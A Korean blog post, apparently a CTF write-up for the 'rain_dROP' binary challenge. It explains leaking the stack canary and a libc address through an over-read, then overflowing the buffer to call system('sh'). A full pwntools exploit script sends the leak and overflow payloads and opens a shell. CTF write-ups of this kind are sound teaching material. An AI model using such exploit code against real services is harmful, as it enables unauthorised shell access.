본문 바로가기
시스템 해킹/cykor

rain_dROP-카나리 릭, 메모리 릭

by sonysame 2018. 1. 2.

rain_dROP


rain_dROP문제는 main함수와 WriteName함수, ReadName함수로 이루어져 있다


WriteName함수에서 입력을 받는다. 그리고 *MK_FP(__GS__, 20)부분이 있는데

마지막에 특정 메모리 영역이 조작되어 있는지 아니면 기존의 값을 잘 유지하고 있는지 확인해준다


ReadName함수에서는 Name을 출력해주는데, 이때, 뒤에 나오는 메모리도 같이 딸려 나올 수 있도록 메모리 릭을 해준다

128자를 채워주면 바로 뒤에 나오는 4바이트가 카나리 영역이다

이 부분을 건드리지 않은 채로 ReadName함수로 넘어가는데, 이렇게 ReadName에서 카나리 영역을 알아내고, 그 다음 4바이트가 나오고 그 바로 다음 4바이트는 f7~로 시작하는 libc기반 주소가 나온다이렇게 카나리와 libc를 릭해낼 수 있다


문제에서 서버에서의 libc를 주었으니까 __libc_start_main 함수의 주소를 기준으로 system함수의 주소와 sh문자열의 주소를 릭해낼 수 있다


또한, fgets를 크게 입력 받을 수 있으므로 리턴어드레스까지 덮을 수 있고, 리턴어드레스에 system함수의 주소와 인자로 sh문자열을 넣어주면 쉘을 딸 수 있을 것이다.  


다음은 로컬에서 쉘을 딴 캡쳐 사진이다.


 


from pwn import*

import time

 

s=remote('localhost',6666)

#s=remote('cykor.kr',10002)

 

print s.recv(1024)

s.send("1\n")

time.sleep(1)

print s.recv(1024)

s.send("128"+"\n")

time.sleep(1)

s.send("A"*127+"\n")

print s.recv(1024)

s.send("2\n")

time.sleep(1)

print s.recv(1024)

s.send("140"+"\n")

time.sleep(1)

s.recvuntil("\n")

a=s.recv(4)

b=s.recv(4)

c=s.recv(4)


a=u32(a)

b=u32(b)

c=u32(c)

 

libc=c-1854144

system=libc+0x22860

#system=libc+0x26910

sh=libc+0x14346b

#sh=libc+0x146e4c

 

print ("canary: "+hex(a))

print ("libc base: "+hex(c))

 

print s.recv(1024)

s.send("1\n")

time.sleep(1)

print s.recv(1024)

s.send("200"+"\n")

time.sleep(1)

s.send("A"*128+p32(a)+"A"*24+p32(a)+p32(system)+"\xef\xbe\xad\xde"+p32(sh)+"\n")

print s.recv(1024)

 

time.sleep(1)

s.interactive()


'시스템 해킹 > cykor' 카테고리의 다른 글

rop1-ROP+SROP  (0) 2018.01.02
2015410212-64비트 쉘코드, 간단한 xor  (0) 2018.01.02
derby-카나리 릭  (0) 2018.01.02
2015410208-got overwrite  (0) 2018.01.02
daRk_TempLer-read함수의 null  (0) 2017.12.29